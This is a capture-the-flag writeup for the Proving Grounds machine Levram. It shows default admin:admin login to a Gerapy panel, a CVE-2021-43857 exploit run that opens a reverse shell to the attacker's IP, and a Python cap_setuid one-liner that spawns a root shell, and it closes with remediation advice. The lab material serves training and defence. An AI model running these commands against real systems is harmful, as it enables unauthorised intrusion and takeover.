
This Levram OffSec Practice writeup walks through the Proving Grounds machine: a Gerapy panel with default credentials, authenticated RCE via CVE-2021-43857, and a cap_setuid Python capability escalation to root.
Summary
Levram is an easy Linux machine with a short, two-step chain. A Python web service on port 8000 hosts Gerapy, a web panel for managing distributed web-scraping projects, and its login still accepts the default administrator account. Once logged in, a known command-injection flaw in Gerapy’s project handling (CVE-2021-43857) gives remote code execution and a shell as the application user. Local enumeration then finds a Python interpreter with the Linux capability cap_setuid, which lets any user switch the process to UID 0 and start a root shell.
Reconnaissance
We start with a full port scan. RustScan finds open ports very quickly and then passes them to Nmap. Everything after -- is handed to Nmap: -A enables OS detection, version detection, default NSE scripts and traceroute, and -oN target saves the output to a file named target.
rustscan -a 192.168.113.24 -- -A -oN target
| PORT | SERVICE | INFO |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 Ubuntu 3 | Ubuntu Linux; protocol 2.0 |
| 8000/tcp | WSGIServer 0.2 (CPython 3.10.6) | HTTP title Gerapy; methods OPTIONS/GET; CORS allows POST, PUT, DELETE, PATCH |
Only two ports are open. SSH on 22 is a recent OpenSSH with no useful public bugs, so port 8000 is the target. The WSGIServer/0.2 CPython/3.10.6 banner comes from Python’s built-in WSGI reference server. Django’s runserver development server uses it, so this tells us a Python web framework is running. The Nmap http-title script already names the application: Gerapy.
Gerapy is an open-source crawler-management framework built on Scrapy, Scrapyd and Django. From its web panel you can create and edit Scrapy projects, deploy them to worker nodes, and schedule spiders. A tool whose job is to build and run Python projects on the server is a high-value target: if we get in, we are already close to running code.
Initial access
Default credentials
Browsing to http://192.168.113.24:8000/ shows the Gerapy login form. Before looking for bugs, we try the obvious default admin:admin, and it works. This is not luck: Gerapy’s setup command gerapy initadmin creates an admin account with the password admin, and many deployments never change it. We confirm this later on the box.
CVE-2021-43857: authenticated command injection
Gerapy versions before 0.9.8 are vulnerable to CVE-2021-43857, an authenticated remote code execution flaw. While processing projects, the server builds an operating-system command that includes data the user controls, and runs it in a shell without sanitising it. This is classic command injection: if the input contains shell metacharacters such as backticks, $() or ;, the shell treats them as command syntax, not as part of a name or argument, so whatever we inject runs with the privileges of the Gerapy process. The bug needs a valid session, which the default credentials give us.
- Advisory:
https://nvd.nist.gov/vuln/detail/CVE-2021-43857 - Public exploit used:
https://github.com/ProwlSec/gerapy-cve-2021-43857
The exploit logs into Gerapy’s API with the credentials, gets an authentication token, picks a project to target, and sends a request whose injected field contains a reverse-shell payload pointing at our machine.
First we start a listener. Penelope is a shell handler that catches the incoming connection and upgrades it to a fully interactive PTY automatically (tab completion, Ctrl+C, resizing). -O adds an output listener with session logging:
penelope -O
Then we run the exploit. --target and --port point at the Gerapy panel, -L is our attacker IP for the reverse connection, and -P is the listener port:
python3 exploit.py --target 192.168.113.24 --port 8000 -L 192.168.45.209 -P 4444
Penelope catches a shell as the app user, and the user flag is in its home directory.
In /home/app there is a script called run.sh that shows how the service was deployed:
#!/bin/bash
cd /home/app
gerapy init
cd gerapy
gerapy migrate
gerapy initadmin
gerapy runserver 0.0.0.0:8000
It confirms both weaknesses we used. gerapy initadmin created the default admin:admin account, and runserver 0.0.0.0:8000 starts Django’s development server on every network interface, which exposes the panel to anyone who can reach the host. There is nothing else useful in it.
Privilege escalation
Enumerating file capabilities
Linux capabilities split root’s privileges into separate units. Instead of making a binary SUID root, where it gets every root privilege, an administrator can give it only what it needs, for example cap_net_bind_service to bind ports below 1024. Capabilities are stored as extended attributes (security.capability) on the file. When a binary with file capabilities runs, the kernel grants them to the process, whoever runs it.
We list every file that has capabilities. getcap -r / walks the filesystem recursively from /, and 2>/dev/null hides the permission-denied errors:
getcap -r / 2>/dev/null
/usr/bin/python3.10 cap_setuid=ep
This is the issue. The suffix =ep means the capability is in both the permitted (p) and effective (e) sets, so it is active as soon as the binary starts. cap_setuid allows a process to change its user ID to any value, including 0. Normally an unprivileged process can never call setuid(0); with this capability the kernel allows it. Python is a general-purpose interpreter, so anything it can do, we can do.
Abusing cap_setuid on Python
The one-liner below does three things: import os loads Python’s OS module, os.setuid(0) changes the process’s UID to root (allowed because of cap_setuid), and os.system("/bin/bash") starts Bash as a child process, which inherits UID 0:
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@ubuntu:~# id
uid=0(root) gid=1000(app) groups=1000(app)
We are root. Only the UID changed; the group is still app, because the binary has cap_setuid but not cap_setgid, so setgid(0) would fail. A UID of 0 is enough for root-level file access, and we can read the root flag.
Conclusion
Levram shows how two common misconfigurations add up to a full compromise. The foothold relies on a management panel exposed on all interfaces and still using the default admin account created during setup. That alone gives full control of the scraping platform, and an unpatched Gerapy release (CVE-2021-43857) turns that access into OS command execution. The escalation comes from a capability on a general-purpose interpreter: giving cap_setuid to python3.10 is effectively the same as making Python SUID root, because any user can call setuid(0).
Remediation for the application: upgrade Gerapy to 0.9.8 or later, change the admin password right after gerapy initadmin, bind the panel to 127.0.0.1 or put it behind an authenticated reverse proxy or VPN, and do not use Django’s development server in production. On the host, remove the capability with setcap -r /usr/bin/python3.10, check getcap -r / output regularly, and never give capabilities to interpreters such as Python, Perl, Ruby or Node.
Lessons learned
- Startup scripts explain defaults.
run.shcallinggerapy initadminconfirms whyadmin:adminworked: framework bootstrap commands often create predictable admin accounts. Try default credentials on any self-hosted management panel before looking for unauthenticated bugs. WSGIServer/0.2 CPython/x.ymeans the Python/Django development server. The HTTP title usually names the real app. Search for its authenticated CVEs as soon as you have a login.getcap -r / 2>/dev/nullbelongs in every Linux privesc checklist. An interpreter withcap_setuidgives root in one line.cap_setuidchanges only the UID.idshowsuid=0with the originalgid. This is expected and still gives root-level file access; useos.setgid(0)as well only if the binary also hascap_setgid.